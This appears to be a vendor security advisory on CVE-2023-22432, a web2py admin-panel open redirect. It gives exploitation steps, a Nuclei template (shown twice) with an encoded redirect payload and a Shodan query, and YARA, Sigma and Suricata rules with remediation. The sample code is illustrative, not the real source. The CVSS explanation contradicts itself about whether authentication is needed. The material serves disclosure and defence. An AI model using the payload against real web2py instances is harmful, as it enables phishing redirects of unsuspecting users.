CVE-2023-22432

Executive Summary

CVE-2023-22432 is an open redirect vulnerability in the web2py web framework, affecting all versions prior to 2.23.1. The flaw resides in the send parameter within the admin interface, allowing an authenticated attacker to craft a URL that redirects a victim to an arbitrary external site. This can be leveraged for phishing attacks, credential harvesting, or as a vector for further social engineering. The vulnerability is classified as CWE-601 (URL Redirection to Untrusted Site) and carries a CVSS v3.1 base score of 6.1 (Medium). A public proof-of-concept (PoC) exists via a Nuclei template, and exploitation requires authentication to the web2py admin panel.

Supply Chain & Package Security

web2py is a Python-based web framework distributed via PyPI and its official website. The vulnerability affects the core framework itself, not a third-party package. Users should verify they are running version 2.23.1 or later, as earlier versions are susceptible. The patch is available through the official web2py download page and PyPI.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need prior authentication to trigger the redirect, but the vulnerable endpoint requires authentication.
• User Interaction: Required (UI:R) – The victim must click on the crafted link.
• Scope: Changed (S:C) – The redirect can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: Low (I:L) – The redirect can modify the user's intended destination.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for phishing campaigns elevate the risk for organizations using web2py.

Deep Dive & Mechanics

The vulnerability exists in the admin/default/index endpoint of web2py. The send parameter is used to redirect users after a successful login or action. Due to insufficient validation, an attacker can supply a URL with a protocol-relative or absolute path that points to an external domain.

Technical Flow:

1. An authenticated attacker crafts a POST request to /admin/default/index with a malicious send parameter.
2. The send parameter is URL-encoded to bypass simple filters (e.g., %5C%2F%5C%2Foast.pro decodes to \\//oast.pro).
3. The server processes the request and returns a 303 redirect to the attacker-controlled domain.
4. The victim's browser follows the redirect, landing on a phishing page that mimics the web2py login or other trusted interface.

The core issue is that the framework does not sanitize or validate the redirect URL against a whitelist of allowed domains. This allows an attacker to redirect users to any arbitrary site.

Vulnerable vs. Patched Code

Vulnerable Code (web2py < 2.23.1): The vulnerable code likely resides in the admin controller where the send parameter is used directly in a redirect response without validation. For example:

def index():
    send = request.get('send', '/')
    redirect(send)

Patched Code (web2py >= 2.23.1): The patch introduces validation to ensure the redirect URL is relative or belongs to a trusted domain. A possible implementation:

def index():
    send = request.get('send', '/')
    if not is_safe_url(send):
        send = '/'
    redirect(send)

Where is_safe_url() checks that the URL is either relative or matches a whitelist of allowed hosts.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a web2py instance (version < 2.23.1) with valid admin credentials.
• A listener or server to capture redirected traffic (e.g., oast.pro or a custom domain).

Exploitation Steps:

1. Authenticate to the web2py admin panel.
2. Craft a POST request to /admin/default/index with the following body:

   password=<admin_password>&send=%5C%2F%5C%2Foast.pro&login=
   

3. The server responds with a 303 redirect to //oast.pro.
4. Share the crafted URL with the victim. When they click it, they are redirected to the attacker's site.

Nuclei Template (Provided):

id: CVE-2023-22432

info:
  name: Web2py URL - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
  impact: |
    Authenticated attackers can exploit open redirect through the send parameter to redirect users to malicious websites for phishing attacks.
  remediation: |
    Update to web2py 2.23.1 or higher.
  reference:
    - https://github.com/aeyesec/CVE-2023-22432
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22432
    - https://jvn.jp/en/jp/JVN78253670/
    - http://web2py.com/
    - http://web2py.com/init/default/download
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-22432
    cwe-id: CWE-601
    epss-score: 0.40764
    epss-percentile: 0.97385
    cpe: cpe:2.3:a:web2py:web2py:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: web2py
    product: web2py
    shodan-query: http.favicon.hash:-1680052984
    fofa-query: icon_hash=-1680052984
  tags: cve,cve2023,web2py,redirect,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/default/index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        password={{password}}&send=%5C%2F%5C%2Foast.pro&login=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'a href="\/\/oast.pro"'

      - type: word
        part: location
        words:
          - '\/\/oast.pro'

      - type: status
        status:
          - 303

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /admin/default/index with unusual send parameters (e.g., containing %5C%2F or external domains).
• Alert on HTTP 303 responses from the admin endpoint with Location headers pointing to external URLs.
• Use the provided YARA and Sigma rules to detect exploitation attempts.

Hunting:

• Search web server logs for POST /admin/default/index with send parameters containing encoded backslashes or external domains.
• Review authentication logs for successful logins followed immediately by a redirect to an unknown domain.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /admin/default/index with send parameter containing %5C%2F%5C%2F or similar encoding.
  • HTTP 303 responses with Location header pointing to an external domain (e.g., //oast.pro, //evil.com).
• File IOCs:
  • Log entries showing send parameter with external URLs.
• Behavioral IOCs:
  • Unusual redirect chains from web2py admin to untrusted sites.

Detection Engineering

YARA Rule

rule CVE_2023_22432_Web2py_Open_Redirect {
    meta:
        description = "Detects exploitation attempts of CVE-2023-22432 in web2py logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-22432"
    strings:
        $send_param = /send=%5C%2F%5C%2F[a-zA-Z0-9.-]+/
        $redirect_303 = "HTTP/1.1 303"
        $location_ext = /Location: \/\/(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}/
    condition:
        all of them
}

Sigma Rule

title: Web2py Open Redirect Exploitation (CVE-2023-22432)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to web2py admin endpoint with malicious send parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/default/index'
        cs-uri-query|contains: 'send=%5C%2F%5C%2F'
    condition: selection
falsepositives:
    - Legitimate use of redirects to internal resources (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-22432 Web2py Open Redirect Exploitation"; flow:to_server; content:"POST"; http_method; content:"/admin/default/index"; http_uri; content:"send=%5C%2F%5C%2F"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-22432

info:
  name: Web2py URL - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
  impact: |
    Authenticated attackers can exploit open redirect through the send parameter to redirect users to malicious websites for phishing attacks.
  remediation: |
    Update to web2py 2.23.1 or higher.
  reference:
    - https://github.com/aeyesec/CVE-2023-22432
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22432
    - https://jvn.jp/en/jp/JVN78253670/
    - http://web2py.com/
    - http://web2py.com/init/default/download
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-22432
    cwe-id: CWE-601
    epss-score: 0.40764
    epss-percentile: 0.97385
    cpe: cpe:2.3:a:web2py:web2py:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: web2py
    product: web2py
    shodan-query: http.favicon.hash:-1680052984
    fofa-query: icon_hash=-1680052984
  tags: cve,cve2023,web2py,redirect,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/default/index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        password={{password}}&send=%5C%2F%5C%2Foast.pro&login=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'a href="\/\/oast.pro"'

      - type: word
        part: location
        words:
          - '\/\/oast.pro'

      - type: status
        status:
          - 303

Remediation & Mitigation

Immediate Actions:

1. Update web2py to version 2.23.1 or later. This is the only complete fix.
2. If immediate update is not possible, implement a Web Application Firewall (WAF) rule to block requests with send parameters containing encoded backslashes (%5C%2F) or external domains.
3. Restrict access to the admin panel (/admin/) to trusted IP addresses only.

Long-Term Measures:

• Enforce strict validation of all redirect parameters against a whitelist of allowed internal URLs.
• Conduct regular security audits of web2py instances.
• Monitor for new CVEs and apply patches promptly.

Workaround:

• Disable the send parameter functionality in the admin controller if not required, or modify the code to only allow relative paths.

Valters IT

{/* [Security Hash: DCFF5620270854BDB8B00097] */}